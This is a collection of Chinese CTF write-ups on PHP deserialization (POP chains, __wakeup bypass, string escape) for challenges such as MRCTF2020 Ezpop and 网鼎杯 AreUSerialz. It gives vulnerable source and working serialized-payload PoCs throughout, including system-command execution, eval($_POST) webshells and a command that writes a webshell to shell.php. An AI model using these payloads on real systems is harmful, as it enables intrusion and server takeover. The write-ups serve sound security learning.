反序列化圣经 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __construct ()__destruct () __toString () __sleep ()__wakeup ()__get ()__set ()__invoke ()__call ()
[MRCTF2020]Ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
pop:
1 Modifier : :append->Modifier : :__invoke->Test : :__get->Show : :__toString->Show : :__wakeup
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Modifier { protected $var = "php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a = new Show ();$a ->source = new Show ();$a ->source->str = new Test ();$a ->source->str->p = new Modifier ();echo urlencode (serialize ($a ));
[NPUCTF2020]ReadlezPHP
找到入口,拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } } $c = new HelloPhp ;if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);
尝试构造执行,发现怎么什么都不执行,最后测试assert可以执行
1 2 3 4 5 6 7 8 9 10 <?php class HelloPhp { public $a = "eval(\$_POST[1]);" ; public $b = "assert" ; } $a =new HelloPhp (); echo urlencode (serialize ($a )); ?>
传入值然后蚁剑连接绕过disable_function
选这个直接根目录找flag就行
[网鼎杯 2020 朱雀组]phpweb
抓包看到这两个参数,尝试直接执行命令,发现执行不了,猜测存在过滤,我们尝试文件读取,发现读取file_put_contents
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array ("exec" ,"shell_exec" ,"system" ,"passthru" ,"proc_open" ,"show_source" ,"phpinfo" ,"popen" ,"dl" ,"eval" ,"proc_terminate" ,"touch" ,"escapeshellcmd" ,"escapeshellarg" ,"assert" ,"substr_replace" ,"call_user_func_array" ,"call_user_func" ,"array_filter" , "array_walk" , "array_map" ,"registregister_shutdown_function" ,"register_tick_function" ,"filter_var" , "filter_var_array" , "uasort" , "uksort" , "array_reduce" ,"array_walk" , "array_walk_recursive" ,"pcntl_exec" ,"fopen" ,"fwrite" ,"file_put_contents" ); function gettime ($func , $p ) { $result = call_user_func ($func , $p ); $a = gettype ($result ); if ($a == "string" ) { return $result ; } else {return "" ;} } class Test { var $p = "Y-m-d h:i:s a" ; var $func = "date" ; function __destruct ( ) { if ($this ->func != "" ) { echo gettime ($this ->func, $this ->p); } } } $func = $_REQUEST ["func" ]; $p = $_REQUEST ["p" ]; if ($func != null ) { $func = strtolower ($func ); if (!in_array ($func ,$disable_fun )) { echo gettime ($func , $p ); }else { die ("Hacker..." ); } } ?>
此处骚套路就是我们注意到内部的test类也可以操纵fun和p我们可以利用反序列化函数来反序列化我们的数据去调用函数执行命令
实测这里不能写文件,但是可以读取
1 2 3 4 5 6 7 8 9 <?php class Test { var $p = "cat /tmp/flagoefiu4r93" ; var $func = "system" ; } $a =new Test (); echo urlencode (serialize ($a )); ?>
[GDOUCTF 2023]反方向的钟 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting (0 );highlight_file (__FILE__ );class teacher { public $name ; public $rank ; private $salary ; public function __construct ($name ,$rank ,$salary = 10000 ) { $this ->name = $name ; $this ->rank = $rank ; $this ->salary = $salary ; } } class classroom { public $name ; public $leader ; public function __construct ($name ,$leader ) { $this ->name = $name ; $this ->leader = $leader ; } public function hahaha ( ) { if ($this ->name != 'one class' or $this ->leader->name != 'ing' or $this ->leader->rank !='department' ){ return False; } else { return True; } } } class school { public $department ; public $headmaster ; public function __construct ($department ,$ceo ) { $this ->department = $department ; $this ->headmaster = $ceo ; } public function IPO ( ) { if ($this ->headmaster == 'ong' ){ echo "Pretty Good ! Ctfer!\n" ; echo new $_POST ['a' ]($_POST ['b' ]); } } public function __wakeup ( ) { if ($this ->department->hahaha ()) { $this ->IPO (); } } } if (isset ($_GET ['d' ])){ unserialize (base64_decode ($_GET ['d' ])); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class teacher { public $name = "ing" ; public $rank = 'department' ; } class classroom { public $name = 'one class' ; public $leader ; } class school { public $department ; public $headmaster = 'ong' ; } $a = new school ();$a ->department = new classroom ();$a ->department->leader = new teacher ();echo base64_encode (serialize ($a ));
post:
1 2 a=FileSystemIterator&b=./ SplFileObject php://filter/convert.base64-encode/resource=flag.php
get:
1 /?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=
[NISACTF 2022]popchains 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); } else { $a =new Road_is_Long ; highlight_file (__FILE__ ); } class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } } class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
pop:
1 Try_Work_Hard ::append ->Try_Work_Hard ::__invoke ->Make_a_Change ::__get ->Road_is_Long ::__toString ->Road_is_Long->__wakeup
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Road_is_Long { public $page ; public $string ; } class Try_Work_Hard { protected $var = "php://filter/convert.base64-encode/resource=/flag" ; } class Make_a_Change { public $effort ; } $a = new Road_is_Long ();$a ->page = new Road_is_Long ();$a ->page->string = new Make_a_Change ();$a ->page->string ->effort = new Try_Work_Hard ();echo urlencode (serialize ($a ));
[HZNUCTF 2023 preliminary]ppppop 进去发现空白页,查找发现cookie存在base64加密解密出O:4:”User”:1:{s:7:”isAdmin”;b:0;}
我们尝试构造O:4:”User”:1:{s:7:”isAdmin”;b:1;}拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );include ('utils.php' );class A { public $className ; public $funcName ; public $args ; public function __destruct ( ) { $class = new $this ->className; $funcName = $this ->funcName; $class ->$funcName ($this ->args); } } class B { public function __call ($func , $arg ) { $func ($arg [0 ]); } } if (checkUser ()) { highlight_file (__FILE__ ); $payload = strrev (base64_decode ($_POST ['payload' ])); unserialize ($payload ); }
尝试构造poc:
1 2 3 4 5 6 7 8 9 10 11 <?php class A { public $className = "B" ; public $funcName = "system" ; public $args = "echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' | base64 -d >shell.php" ; } class B {} $a = new A ();echo base64_encode (strrev (serialize ($a )));
蚁剑连接发现到处找不到flag,也没有数据库,于是尝试看看是不是在环境变量中,最后在phpinfo()和env中都发现了flag
NSS prize_p5 字符串逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting (0 );class catalogue { public $class ; public $data ; public function __construct ( ) { $this ->class = "error "; $this ->data = "hacker "; } public function __destruct () { echo new $this ->class ($this ->data ); } } class error { public function __construct ($OTL ) { $this ->OTL = $OTL ; echo ("hello " .$this ->OTL); } } class escape { public $name = 'OTL' ; public $phone = '123666' ; public $email = 'sweet@OTL.com' ; } function abscond ($string ) { $filter = array ('NSS' , 'CTF' , 'OTL_QAQ' , 'hello' ); $filter = '/' . implode ('|' , $filter ) . '/i' ; return preg_replace ($filter , 'hacker' , $string ); } if (isset ($_GET ['cata' ])){ if (!preg_match ('/object/i' ,$_GET ['cata' ])){ unserialize ($_GET ['cata' ]); } else { $cc = new catalogue (); unserialize (serialize ($cc )); } if (isset ($_POST ['name' ])&&isset ($_POST ['phone' ])&&isset ($_POST ['email' ])){ if (preg_match ("/flag/i" ,$_POST ['email' ])){ die ("nonono,you can not do that!" ); } $abscond = new escape (); $abscond ->name = $_POST ['name' ]; $abscond ->phone = $_POST ['phone' ]; $abscond ->email = $_POST ['email' ]; $abscond = serialize ($abscond ); $escape = get_object_vars (unserialize (abscond ($abscond ))); if (is_array ($escape ['phone' ])){ echo base64_encode (file_get_contents ($escape ['email' ])); } else { echo "I'm sorry to tell you that you are wrong" ; } } } else { highlight_file (__FILE__ ); } ?>
我们要达到的效果是使email=flag然后利用file_get_contents读取flag
但是他做了过滤,我们可以利用字符串逃逸漏洞尝试逃逸出一个email=flag
注意phone是数组,当序列化数组的时候和字符串不一样
1 2 3 4 5 6 7 8 9 10 11 <?php class escape { public $name = '1' ; public $phone = [2 ]; public $email = 'flag' ; } $a = new escape ();echo serialize ($a );
我们要逃逸出来的是
1 ";}s:5:" email";s:5:" /flag";}
所以最后传参
1 2 3 ?cata=1(随便写) post :name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test
[UUCTF 2022 新生赛]ez_unser 调整地址,间接传参 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);
此处无法绕过__wakeup方法,但是b和c我们是可控的,我们可以利用
1 2 public function __destruct ( ) { $this ->b=$this ->c;
让a的内存地址指向b的内存地址然后给c赋值就可以达到rce的效果
1 2 3 4 5 6 7 8 9 10 11 <?php class test { public $a ; public $b ; public $c = "phpinfo();" ; } $a = new test ();$a ->a = &$a ->b;echo serialize ($a );
[SWPUCTF 2022 新生赛]ez_1zpop 简单的pop链构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 );class dxg { function fmm ( ) { return "nonono" ; } } class lt { public $impo ='hi' ; public $md51 ='weclome' ; public $md52 ='to NSS' ; function __construct ( ) { $this ->impo = new dxg; } function __wakeup ( ) { $this ->impo = new dxg; return $this ->impo->fmm (); } function __toString ( ) { if (isset ($this ->impo) && md5 ($this ->md51) == md5 ($this ->md52) && $this ->md51 != $this ->md52) return $this ->impo->fmm (); } function __destruct ( ) { echo $this ; } } class fin { public $a ; public $url = 'https://www.ctfer.vip' ; public $title ; function fmm ( ) { $b = $this ->a; $b ($this ->title); } } if (isset ($_GET ['NSS' ])) { $Data = unserialize ($_GET ['NSS' ]); } else { highlight_file (__file__); }
1 pop: fin::fmm ->lt ::__toString ->lt ::__destruct
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class dxg {} class lt { public $impo ; public $md51 ='QNKCDZO' ; public $md52 ='240610708' ; } class fin { public $a = "system" ; public $url ; public $title = "ls" ; } $a = new lt ();$a ->impo = new fin ();echo serialize ($a );
注意这里是要绕过__wakerup的
[天翼杯 2021]esay_eval disable_function绕过,__wakeup绕过,涉及提权打redis 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class A { public $code = "" ; function __call ($method ,$args ) { eval ($this ->code); } function __wakeup ( ) { $this ->code = "" ; } } class B { function __destruct ( ) { echo $this ->a->a (); } } if (isset ($_REQUEST ['poc' ])){ preg_match_all ('/"[BA]":(.*?):/s' ,$_REQUEST ['poc' ],$ret ); if (isset ($ret [1 ])) { foreach ($ret [1 ] as $i ) { if (intval ($i )!==1 ){ exit ("you want to bypass wakeup ? no !" ); } } unserialize ($_REQUEST ['poc' ]); } }else { highlight_file (__FILE__ ); }
此处就是绕过__wakeup就行了但是他加了过滤,所以我们要绕过
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class A { public $code = "eval(\$_POST[1]);" ; } class B { public $a ; } $a = new B ();$a ->a = new A ();echo serialize ($a );
方法一:
发现没办法执行命令,只能猜测有disable_functions,我们可以利用传参连接蚁剑绕过
方法二:
此处无法直接执行命令,可以写马然后蚁剑连接连上之后,发现了vim缓存泄露,存在着一个config.php.swp
发现redis密码,尝试提权,利用上传加载执行exp.so然后利用语法执行命令
参考文章:https://blog.csdn.net/qq_73767109/article/details/131378773
[FSCTF 2023]ez_php2 内部数组赋值,怎么把一个数组键值对赋给变量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 <?php highlight_file (__file__);Class Rd{ public $ending ; public $cl ; public $poc ; public function __destruct ( ) { echo "All matters have concluded" ; die ($this ->ending); } public function __call ($name , $arg ) { foreach ($arg as $key =>$value ) { if ($arg [0 ]['POC' ]=="1111" ) { echo "1" ; $this ->cl->var1 = "system" ; } } } } class Poc { public $payload ; public $fun ; public function __set ($name , $value ) { $this ->payload = $name ; $this ->fun = $value ; } function getflag ($paylaod ) { echo "Have you genuinely accomplished what you set out to do?" ; file_get_contents ($paylaod ); } } class Er { public $symbol ; public $Flag ; public function __construct ( ) { $this ->symbol = True; } public function __set ($name , $value ) { $value ($this ->Flag); } } class Ha { public $start ; public $start1 ; public $start2 ; public function __construct ( ) { echo $this ->start1."__construct" ."</br>" ; } public function __destruct ( ) { if ($this ->start2==="11111" ) { $this ->start1->Love ($this ->start); echo "You are Good!" ; } } } if (isset ($_GET ['Ha_rde_r' ])){ unserialize ($_GET ['Ha_rde_r' ]); } else { die ("You are Silly goose!" ); } ?>
1 pop: Er : :__set->Rd : :__call->Ha__destruct
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php Class Rd{ public $ending ; public $cl ; public $poc ; } class Er { public $symbol ; public $Flag = "ls" ; } class Ha { public $start = ['POC' =>'1111' ]; public $start1 ; public $start2 = "11111" ; } $a = new Ha ();$a ->start1 = new Rd ();$a ->start1->cl = new Er ();echo serialize ($a );
此处不好理解的或者说是拓展的知识点就是
1 public $start = ['POC' =>'1111' ];
[GHCTF 2024 新生赛]ezzz_unserialize pop链构造加两次md5然后等于某个数字 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 <?php error_reporting (0 );class Sakura { public $apple ; public $strawberry ; public function __construct ($a ) { $this -> apple = $a ; } function __destruct ( ) { echo $this -> apple; } public function __toString ( ) { $new = $this -> strawberry; return $new (); } } class NoNo { private $peach ; public function __construct ($string ) { $this -> peach = $string ; } public function __get ($name ) { $var = $this -> $name ; $var [$name ](); } } class BasaraKing { public $orange ; public $cherry ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { $function = $this -> orange; return $function (); } public function __get ($arg1 ) { $this -> cherry -> ll2 ('b2' ); } } class UkyoTachibana { public $banana ; public $mangosteen ; public function __toString ( ) { $long = @$this -> banana -> add (); return $long ; } public function __set ($arg1 ,$arg2 ) { if ($this -> mangosteen -> tt2) { echo "Sakura was the best!!!" ; } } } class E { public $e ; public function __get ($arg1 ) { array_walk ($this , function ($Monday , $Tuesday ) { $Wednesday = new $Tuesday ($Monday ); foreach ($Wednesday as $Thursday ){ echo ($Thursday .'<br>' ); } }); } } class UesugiErii { protected $coconut ; protected function addMe ( ) { return "My time with Sakura was my happiest time" .$this -> coconut; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class Heraclqs { public $grape ; public $blueberry ; public function __invoke ( ) { if (md5 (md5 ($this -> blueberry)) == 123 ) { return $this -> grape -> hey; } } } class MaiSakatoku { public $Carambola ; private $Kiwifruit ; public function __set ($name , $value ) { $this -> $name = $value ; if ($this -> Kiwifruit = "Sakura" ){ strtolower ($this -> Carambola); } } } if (isset ($_POST ['GHCTF' ])) { unserialize ($_POST ['GHCTF' ]); } else { highlight_file (__FILE__ ); }
链子
1 2 3 E::__get ->Heraclqs ::__invoke ->BasaraKing ::__call -> E::__get ->Heraclqs ::__invoke ->Sakura ::__toString ->Sakura ::__destruct
要满足md5(md5($this -> blueberry) == 123
爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import hashlibimport itertoolsimport stringcharset = string.digits+string.ascii_letters temp = itertools.permutations(charset,3 ) ss = "123" for i in temp: value = "" .join(i) hash1 = hashlib.md5(value.encode()).hexdigest() result = hashlib.md5(hash1.encode()).hexdigest() if result[:3 ] == ss and result[3 ].isdigit() != True : print (value) print (result)
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Sakura { public $apple ; public $strawberry ; } class E { public $e ; } class Heraclqs { public $grape ; public $blueberry = "2tL" ; } $a = new Sakura ();$a ->apple = new Sakura ();$a ->apple->strawberry = new Heraclqs ();$a ->apple->strawberry->grape = new E ();$a ->apple->strawberry->grape->SplFileObject = "/1_ffffffflllllagggggg" ;echo serialize ($a );
可遍历目录类
可遍历目录类分为下面三个:
DirectoryIterator 类 FilesystemIterator 类 GlobIterator 类
实测前俩成功
[SWPUCTF 2023 秋季新生赛]UnS3rialize 绕过__wakeup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php highlight_file (__FILE__ );error_reporting (0 );class NSS { public $cmd ; function __invoke ( ) { echo "Congratulations!!!You have learned to construct a POP chain<br/>" ; system ($this ->cmd); } function __wakeup ( ) { echo "W4keup!!!<br/>" ; $this ->cmd = "echo Welcome to NSSCTF" ; } } class C { public $whoami ; function __get ($argv ) { echo "what do you want?" ; $want = $this ->whoami; return $want (); } } class T { public $sth ; function __toString ( ) { echo "Now you know how to use __toString<br/>There is more than one way to trigger" ; return $this ->sth->var ; } } class F { public $user = "nss" ; public $passwd = "ctf" ; public $notes ; function __construct ($user , $passwd ) { $this ->user = $user ; $this ->passwd = $passwd ; } function __destruct ( ) { if ($this ->user === "SWPU" && $this ->passwd === "NSS" ) { echo "Now you know how to use __construct<br/>" ; echo "your notes" .$this ->notes; }else { die ("N0!" ); } } } if (isset ($_GET ['ser' ])) { $ser = unserialize (base64_decode ($_GET ['ser' ])); } else { echo "Let's do some deserialization :)" ; }
分析
1 2 3 NSS::__invoke -> C::__get-> T::__toString-> F::__destruct 需要绕过NSS的__wakeup
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class NSS { public $cmd = "cat /flag" ; } class C { public $whoami ; } class T { public $sth ; } class F { public $user = "SWPU" ; public $passwd = "NSS" ; public $notes ; } $a = new F ();$a ->notes = new T ();$a ->notes->sth = new C ();$a ->notes->sth->whoami = new NSS ();$c = base64_encode ('O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:9:"cat /flag";}}}}' );echo $c ;
[网鼎杯 2020 青龙组]AreUSerialz 字符串和数字若比较和强比较区别 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php include ("flag.php" );highlight_file (__FILE__ );class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } } function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET {'str' })) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
观察代码不难发现我们需要利用的点是在
1 2 3 4 5 6 7 private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; }
我们需要读取flag即可没必要调用process中的put_contents
所以我们开始分析
要进入到read()函数就需要op=2,但是下面的__destruct()魔术方法会判断op是否强等于字符串2,如果等于他就会把字符串1赋值给op
1 2 3 4 5 6 function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); }
我们只需要给他一个数字2就可以绕过这个了
此时构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class FileHandler { public $op = 2 ; public $filename = "php://filter/base64-encode/resource=flag.php" ; public $content = "a" ; } $obj = new FileHandler ();echo serialize ($obj ); O:11 :"FileHandler" :3 :{s:2 :"op" ;i:2 ;s:8 :"filename" ;s:8 :"flag.php" ;s:7 :"content" ;s:3 :"aaa" ;}